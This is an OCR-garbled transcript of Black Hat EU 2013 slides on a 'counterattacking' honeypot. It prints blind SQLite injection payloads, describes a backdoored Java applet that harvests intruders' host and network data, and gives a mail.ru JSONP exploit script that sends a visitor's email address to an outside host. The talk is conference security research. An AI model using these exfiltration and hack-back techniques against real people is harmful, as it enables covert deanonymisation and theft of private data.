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Honeypot that can bite: reverse
penetration
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#DISCLAIMER
e This story is not connected to my EMPLOYER

All LIVE data was got from Q2 2011 — Q3 2012

* |t was done only for research purposes.

* All data was shared with NOBODY.

Til o m
* Thx to Alexeﬁyurfn (@gg tyul




#WHAT IS IT ABOUT
honeypot

» Attract attacker’s attention (to HoneyPot)
* Get patterns and actions from an attacker behavior

Then Operator can understand what kind of attacker we

have, what he can do in the future and etc. After that we can
Take some ‘preventative’ actions.

Example 2. SQLi attempt. Dumping hashes.
Def. actions:

1) What kind of SQLi he tried to exploit —
let’s check our web-apps for
same SQLi patterns

2) Check hashes in our databases —is it

salted?
Do we have hashes at all? (or
plain text?)

3) Check access to tables, is it possible to

get access by using ‘web’ ac¢ount? | )
blackhat
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HWHAT IS IT ABOUT
attackers

* Automated attackers like BOTs
Attack vectors: known patterns *
Impact: Infecting host

e Scr3pt kldd13s
Attack vectors: few patterns
Impact: deface/dump data/??

* Motivated attackers
Attack vectors: many patterns
Impact: ?7?

// It is not that easy in real world...
// It is not about skills

blackhat

=EU 2013



HWHOIS THE ATTACKER
WhiteHats?

blz@ok hat

=EU 2013



HWHAT IS IT ABOUT
classic...

/
IDS
SQLi at
som(

0

- Was he looking
something spec

Deploy the Incident Response Team

By @windsheep

- Is he going to
comeback?

‘c analysis/
MERIE]
validation

- How we should be prepared? O

blackhat
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#WHOIS THE ATTACKER
Why?

e

&
A

| do not care, main task — fix the bug!

@
N 2
-a _ry

It’s interesting, | want to track him!

VS.

bIaCDok hat
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HWHOIS THE ATTACKER
Who wants to know...

* Enterprise
- Who is hunting us like that?
(oil’s sector/big R&D)

It is always good to know who has started this activity....

Because if it is just kids, it is one thing,
if government or competitors — another thing.

* Government
- Track cybercrimes
- Track another government... cyber war, blah-blah-blah...
- etc...

blg)ck hat
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#WHOIS THE ATTACKER

IDS/Logs
* |P address - TOR/(chain of)Proxy/BOTnet
* User-Agent - lol

We have smiffed got nothing




HHONEYPOT
What | want?

Fast result: attack or false positive?

Is it a targeted attack? Or just a scan from
botnet?

Is it a professional or kiddie
Decloaking the attacker
Track the attacker

blgbck hat

=EU 2013



#HOffensive

* Hack your-eneriy-first (aggressive)

* Hack your enemy back (defensive)

v
3 A

“The only real defense is active defense“
© Mao Zedong

blgbck hat
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#HOffensive

© Possom Ivy - [Listening on Port: B0 (Conmestons: 0))

© Andrzej Dereszowski, SIGNAL 11, CONFIDence, 2010

bl ; gk hat
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HOffensive
We can do more...

“Replay back” — answer with the same exploit back to the source:
e  SSH Brute force attack
- if the source has SSH service
- replay with the same login/pass
-- attacker has already changed password on pwned box
PHP/Perl/Ruby web attacks
- if the source has HTTP service
- replay back with same URI/payload

It is against BOTs, and will not work against real attacker.

blgbck hat

=EU 2013



#HOffensive
WWW

* Isit (the attacker) HUMAN?
* Is he using well-know application (browser/plugins)?
 Can we EXPLOIT it?

Classical ExploitPACK?

blgDGK hat
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#Honeypot
Skills?

Bug 2 Vul @: bility 2 Exploi @

Can be found automatically \

SHOULD be found during manual tests

Attacker’s level of skills
* Low

e Medium

* High!

Dangerous, we are

SHOULD be executed by the attacker
with browser!

blackhat
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#Honeypot
Trap

DIRBuster attack, give them /admin/admin.php
But what is the password? : 2
// We can detect bruteforce attacks...

/admin/help.php?id=1 <--SQL Injection .
Get password for admin.php

Login with stolen password to /admin/admin.php

Attack complete!

blgbok hat

=EU 2013



#Honeypot
Blind SQL Injection (SQLite)

- 500 Error.
This is a bug

o B

Additional to Skill-O-Metr

‘/** INND/**/ ‘11 * Filtered Symbols, like ‘space’
*  WAF with small ‘holes’
L. etc, like CTF tasks or hackquest... J

ity

‘union/**/select(CASE/**/WHEN/**/
sqlite_version()like'3.%'THEN/**/

select(1)from(lololo)ELSE’'BHEU13’
END)

- 200/500.
This is an exploit

blgbok hat
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#Honeypot
Attack

users/**/where/**/user=‘admin’and/**/password/**/like/’a%’)THEN/**/
select(1)from(lololo)ELSE’'BHEU13’END)

SQLite supports triggers...

blgbck hat
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#Honeypot
...can bite!

For each step we can get:
o Human/automated attack (Skill-O-Meter)
o The malicious intention of an attacker
=  WhiteHat will finish after finding a SQLi vulnerability. He will not attempt
to get access to forbidden part (admin.php)!

On each step we can bite...
o On ‘attack step’ we can counterattack...

blgbck hat
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#HCounterattack
What we can?

e Social engineering
* Evil Java applet/ActiveX (GUI for administration...)
* Honeytokens

e Attack his env. using a browser.
* Third party services (web-mail/social networks/etc)
* Local env. (localhost/dsl-router)

blz@ok hat
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#Social Engineering
Honeytokens

* PDF file with secret information (and with exploit...)
» EXE file with secret application (fat client for SCADA...)

* etc....

bIaCDok hat
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#Social Engineering
Java/ActiveX

Backdoor
Backdoor

Backdoor

With some GUI.... 8))

blackhat
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#Backdoor... ?
No — “detective”

Get jpg/txt/doc files from FS

Get config files (VPN)

Get BSSIDs

Get network/domain configuration
Get traceroute to us

Get DNS to us

Get camera-shot, mic recording

etc...

blackhat
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Run this time | | Always run on this site

* DO NOT COLLECT PERSONAL INFO
* DO NOT GET ANY DATA FROM HDD
* REMOTE CONTROL DISABLED

j
@)
2

'\YHH-Y

derconrussia@gmail.com

* Reverse DNS channel
* ipconfig

* tracert

* Domain name

* Login name

blgbok hat
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HResults

It can be WEB proxy or TOR exit point...

Local IP:

Tracert:

Data from attacker’s PC

black hat
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HResults

Real logins — second names

—
=

BPC
=

e
NS
C

K 0O
o
0

R I S v I

Real host-names and domains

Real ISP, IP addresses
blackhat
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#Results
& habrahabr.ru Injecte

aKKa| View site information F‘ ceTn.

Mpodwuns

Whois Wz26panHoe (301)

Injected

3amMeTKa:

OTkypaa:

SHAUKM:

3AXABPEHHbLIA

=EU 2013
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#tHello “Red May” 2011

GET requests log
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#Unexpected

GET requests log

Friday, May 27,
Friday, May 27,

Friday, May 27,
Friday, May 27,

PC:

USEX.

Local IP:
DOMAIN:

Damn! Special-Super-Secret-Service
of beautiful ex-USSR republic...

Looks like ‘service’ username, not
personal... may be it was compromised?

=EU 2013



#More drama

.. few hours latter, another intrusion to DCG web-site

... from same ex-USSR republic, same city....
.. but another subnet

.. and again — “reverse penetration”

PC:

Local IP: 152.168.1.100
DOMAIN:

Known nickname, you can Google him as know hacker form this ex-USSR repubilic..
may be he is working for this Secret Service

... or compromise this host and use as intermidiate...

black hart
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HResults

WhiteHat companies — have tested our Applet!
Independent WhiteHat researchers...
Backdoored government WS....

Script kiddies...

blggk hat
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#HConclusion
It works!

We got real usernames of those who did not use VMware/and middle hosts

We got real source for those who use VMware/TOR/Proxy and did not use middle hosts

We

jSE: Attacker is not expecting back-attack!

We

And we got it automatically...

The same results possible for honey
token/exploit-back techniques...

blgbck hat
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HBut

Alexey Sintsov

ahack_ru a BoT He Hago Obino KaBblYKM 3aCOBbIBaTb BO BCE
canTbl =) Ho npuBbIYKa xopowas.. 8)

BECHED

asintsov 3M, Hy BCYHYI KaBbl4KY, 3HaA NPO XaHUMNoT, TONbKO
4yTOoObl rNAHYTb Ha annneT Baw TONbKo He NOMHIO, r4e Tam Mbino
cnanun %)

4 Reply 13 Retweet % Favorite *** More

//@ahack_ru had known about Honeypot and Java applet and did not run it...
but he was busted anyway!

black hat
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#Can we attack 3'd party services?
If user is authenticated on others services

foneyot \ /

Attacker

SocialNetwork

e Attack begins
e CSRF/XSS attack...
* Callback with ID....

* Proxy/TOR/VPN —itis not about network!
* Works only vs. script-kiddies and WhiteHats

blg)ok hat
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#Linkedin

@ defcon-russia.ru :: ISPmar X Y[_]] Profile Stats | LinkedIn

{71} Upload Webmail Cont] € & www.linkedin.com/\

' . 74
(' defcon-russia.riff RT3\ 7L | Me Account Type: Basic | Upgrade

V-l e leletbi 3ok (HOme  Profile  Contacts Groups Jobs Inbox Companies News More
f2.src="http://w

document.body. ap]
document.body. ap]
document .body. ap]

Start 3 Stop X Clf “ASTWEEK

Started Time
00:25:03.111 0.250

Someone on LinkedIn

Headers | Cookies | Query

Request Header  Val Lecturer at Moscow State University
(Request-Line) GET)
Host WWij
User-Agent Mo DEVi TAI PSAi PSD...
/fCCEpt * Engineer at Nokia
Accept-Language en-

Accept-Encoding gz

=EU 2013




#Yandex JSONP

defcon-russia.ru

document.createElement ('script'):
"nttps://pass.yandex.ru/

endChild(s):

document. = X
@ bjFromYandex)

(e) {
= new Image

"http

deURIComponent (servl['title']):

4
V| Autoscroll

[ Start S 4 Clear |“+| call
Sent Received M...
s/, a<:.\."and|=x.r||."<Fn.firl=:?(allharn(aIF:r|xé'*'.'lnnin:\."Ff.F.'\.fl1::: 33

Started Ti...
180 GFT

00:01:... 0. 1001
Headers | Cookies | Query String | POST Data | Content

Type: text/javascript
go && Lego.p } . ams.locale == "tr' sz Lego.m
i = '"Profillerim'}} catch(e){}
"name": "eik00d4"™ }, "servi
://disk.vandex.ru/" 1.

e

(window.L
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#mail.ru JSONP

mail.ru

request request
raw | params
GET

cept-Language: en-US,en

Thu,

Content-Type:
P3P: I

I ache, no-sto

che *he
25 Jan 2012 15:5€:34 GMT ) : 25 Jan 2012 15:54
Thu, 24 Jan 2013 19:5€:34 GMT st i Thu, 24 Jan 2013
pt-Encoding B i

"data":{"ac ({"status":"ok", "data":{"ac
mail "Lr208", "m 1 cnt":"0","list":[]}}) ;)

=EU 2013



#mail.ru exploit

document.write("<iframe src='data:text/html,<html><body>
<script>var sss = document.createElement(\"script\");
sss.src=\"
http://swa.mail.ru/cgi-bin/counters?
JSONP_call=PortalHeadlineJSONPCallback&132417612
\";
function PortalHeadlineJSONPCallback(objFromMail){
var arrl=objFromMail[\"data\"];
var i = new Image();
i.src = \"http://defcon-russia.ru/counter.php?\"+arr1[\"email\"];
document.body.appendChild(i);

I
document.body.appendChild(sss);
</script>

</body></html|>'>");

blgbck hat
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HResults

Balua kop3auHa:

‘ i yobulectea
Opyasa'!l odoto® Bugeo? Mysbika
OMuTtpun «
Mogpy#uTbca
Hanucate coobuweHne
CoenaTtb Nogapok

MNpoyee

Ba3za ana usetoB 17 cMm Ne2 Ba3sa cTekngaHHag Ne70

250.00py6. WSUON |1 270.00py6. MSLA

black hat
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#Conclusion
It works!

We got real emails
We got real names

We can do correlation between two e-mail addresses
and Java Applet response

And we got it automatically...

blgbck hat
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#HConclusion

Stats!
e SQLi attacks - 484 (~1.2 years)
* Applet strikes - 52 (~1.2 years)
* Mail grabs - 16 (6 month)
blgbckhe-f“
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H#HConclusion

Public announcements of

DC Rus Sixth meeting
it Second announcement,
ir : )
> meeting pre-Zeronights era
meeting
20
15
10
5
0

26-May-11 26-Jun-11 26-Jul-11 26-Aug-11 26-Sep-11 26-Oct-11 26-Nov-11 26-Dec-11 26-Jan-12 26-Feb-12 p.




H#HConclusion

msQLi
W Applet hits

Mail hits

‘t %’LM

26-Oct-11 26-Nov-11 26-Dec-11 26-Jan-12 26-Feb-12 26-Mar-12 26-Apr-12 26-May-12 26-Jun-12 26-Jul-12




#Moarrrrrrrrr
Local env. can be attacked!

Anti DNS pinning / DNS rebinding

XXXSS by Samy Kamkar (Getting BSSIDs...)

CSRF/XSS on any local resources....

There can be million techniques and tricks for that...

blgbok hat
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#Moarrrrrrrrr
More techniques and tricks...

OFFENSIVE

COUNTERMEASURES:DEFENSIVE
TACTICS THAT ACTUALLY WORK

PAULDOTCOM

blgbok hat
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#SE — Custom software

. & https;//connectraiff.. O ~ @ & C X || D 3nextponnsiii oduc

OAALLME |58) - AIEX.SINTE X | I D) | WITTES r UUTNYKWBAHWE K/IMEHTOE X

Mpos €= C' £ nttps;//ibank2.unifinbank.ru

BHum

*- Java(TM) needs your permission to run. | Run this time | | Always run on this site

| %) Mc

i While files from the Internet can be useful, this file type can potentially harm
./ your computer. Only install software from publishers you trust. Wh: ?

bl : 2>k hat
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H#SE — Custom software
Anti-Cybercrime

Detect fraud/
hack attempt

Classic Backdoored
ActiveX/Java ActiveX/Java

Error/
Meintance _g4

leok hat
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 SCADA
* Army systems

* FSB/KGB/CIA/MI6/...

HSE — Custom software
Government level

black hat
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HSE — Custom software
Soviet software?

=EuU 2013



HSE — Custom software
Soviet software?

* Yes, the same OS, hardware...

e But different client-server software...

blackhat
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HSE — Custom software
How it can be done?

* Fake vendor WWW/Software (SMART GRID)

* Interesting (for an attacker) honeypot host that has
service for this Software

* + Java/ActiveX tricks...

blackhat
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HSE — Custom software
AntiRE

* Hide code with intelligence purposes
* Make your code non-suspicious

e Add real functionality....

blg)ck hat

=EU 2013




#Conclusion

Counterattack can work...
WhiteHats are LESS carfull when testing something...

277?

Moral/Legal

leck hat
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#FIN

. alex.sintsov@gmail.com . @ENI1e),

leck hat
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